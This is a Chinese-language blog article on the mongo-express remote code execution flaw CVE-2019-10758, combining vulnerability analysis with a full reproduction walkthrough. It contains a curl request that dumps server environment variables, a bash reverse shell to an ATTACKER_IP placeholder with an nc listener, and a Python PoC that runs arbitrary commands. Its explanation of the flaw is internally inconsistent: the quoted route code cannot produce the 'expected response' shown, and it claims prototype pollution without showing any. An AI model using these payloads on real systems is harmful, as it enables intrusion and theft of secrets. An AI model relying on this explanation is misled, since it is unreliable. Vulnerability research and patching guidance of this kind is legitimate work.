您好,登录后才能下订单哦!
# 如何进行mongo-express远程代码执行CVE-2019-10758漏洞浅析及复现
## 0x00 漏洞概述
CVE-2019-10758是mongo-express工具中存在的一个高危远程代码执行漏洞。mongo-express是基于Node.js开发的MongoDB Web管理工具,该漏洞允许攻击者通过精心构造的请求在服务端执行任意JavaScript代码,CVSS评分高达9.8分。
**影响版本**:
- mongo-express < 0.54.0
## 0x01 漏洞原理分析
### 1.1 漏洞背景
mongo-express提供`/checkValid`路由用于验证MongoDB连接字符串的有效性,其核心代码如下:
```javascript
router.post('/checkValid', function(req, res, next) {
var conn = req.body.connection;
try {
var mongo = new MongoClient(conn);
mongo.connect(function(err) {
if (err) {
res.send({ valid: false });
} else {
res.send({ valid: true });
}
});
} catch (e) {
res.send({ valid: false });
}
});
问题出在对connection
参数的处理上。攻击者可以通过connection
参数注入恶意的JavaScript代码,利用Node.js的util.inspect
函数特性实现RCE:
// 恶意payload示例
{
"connection": {
"host": "127.0.0.1",
"port": 27017,
"user": "admin",
"pass": "password",
"toString": "function(){return JSON.stringify(process.env)}"
}
}
当util.inspect
尝试序列化该对象时,会调用toString
方法,导致其中包含的恶意代码被执行。
使用Docker快速搭建测试环境:
# 拉取含漏洞版本的镜像
docker pull mongo-express:0.53.0
# 启动MongoDB服务
docker run -d --name mongodb -p 27017:27017 mongo
# 启动漏洞版本mongo-express
docker run -d --name mongo-express \
-p 8081:8081 \
-e ME_CONFIG_MONGODB_SERVER=mongodb \
-e ME_CONFIG_BASICAUTH_USERNAME=admin \
-e ME_CONFIG_BASICAUTH_PASSWORD=password \
mongo-express:0.53.0
访问http://localhost:8081
,使用admin/password登录确认服务正常运行。
发送恶意POST请求:
curl -X POST \
http://localhost:8081/checkValid \
-H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' \
-H 'Content-Type: application/json' \
-d '{
"connection": {
"host": "127.0.0.1",
"port": 27017,
"user": "admin",
"pass": "password",
"toString": "function(){return JSON.stringify(process.env)}"
}
}'
预期响应:
{
"valid": false,
"actual": "{\"NODE_VERSION\":\"10.16.3\",...}"
}
构造反弹shell payload:
{
"connection": {
"toString": "function(){require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')}"
}
}
使用nc监听:
nc -lvnp 4444
可以使用现成的PoC脚本:
import requests
import json
target = "http://localhost:8081"
cmd = "id > /tmp/pwned"
payload = {
"connection": {
"toString": f"function(){{require('child_process').exec('{cmd}')}}"
}
}
headers = {
"Authorization": "Basic YWRtaW46cGFzc3dvcmQ=",
"Content-Type": "application/json"
}
r = requests.post(f"{target}/checkValid",
data=json.dumps(payload),
headers=headers)
print(r.text)
升级到0.54.0及以上版本,修复方式包括:
- 对connection
参数进行严格校验
- 禁用util.inspect
的深度对象检查
/checkValid
路由漏洞本质上是JavaScript原型链污染的一种表现形式。攻击者通过构造特殊对象,利用util.inspect
的序列化机制触发恶意代码执行。
需要注意: 1. 需要有效的认证凭据(除非配置了匿名访问) 2. 执行环境受Node.js沙箱限制 3. 输出结果会被截断(约200字符)
CVE-2019-10758展示了Web管理工具中常见的安全问题: - 过度信任用户输入 - 不安全的对象序列化 - 认证机制缺失
通过分析此类漏洞,可以帮助开发者提高安全意识,在代码编写阶段就考虑安全因素。建议所有使用mongo-express的用户立即升级到最新版本。
参考资源: 1. CVE-2019-10758官方公告 2. mongo-express GitHub仓库 3. Node.js安全最佳实践 “`
注:实际使用时请替换示例中的ATTACKER_IP等参数,本文仅用于安全研究学习,请勿用于非法用途。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。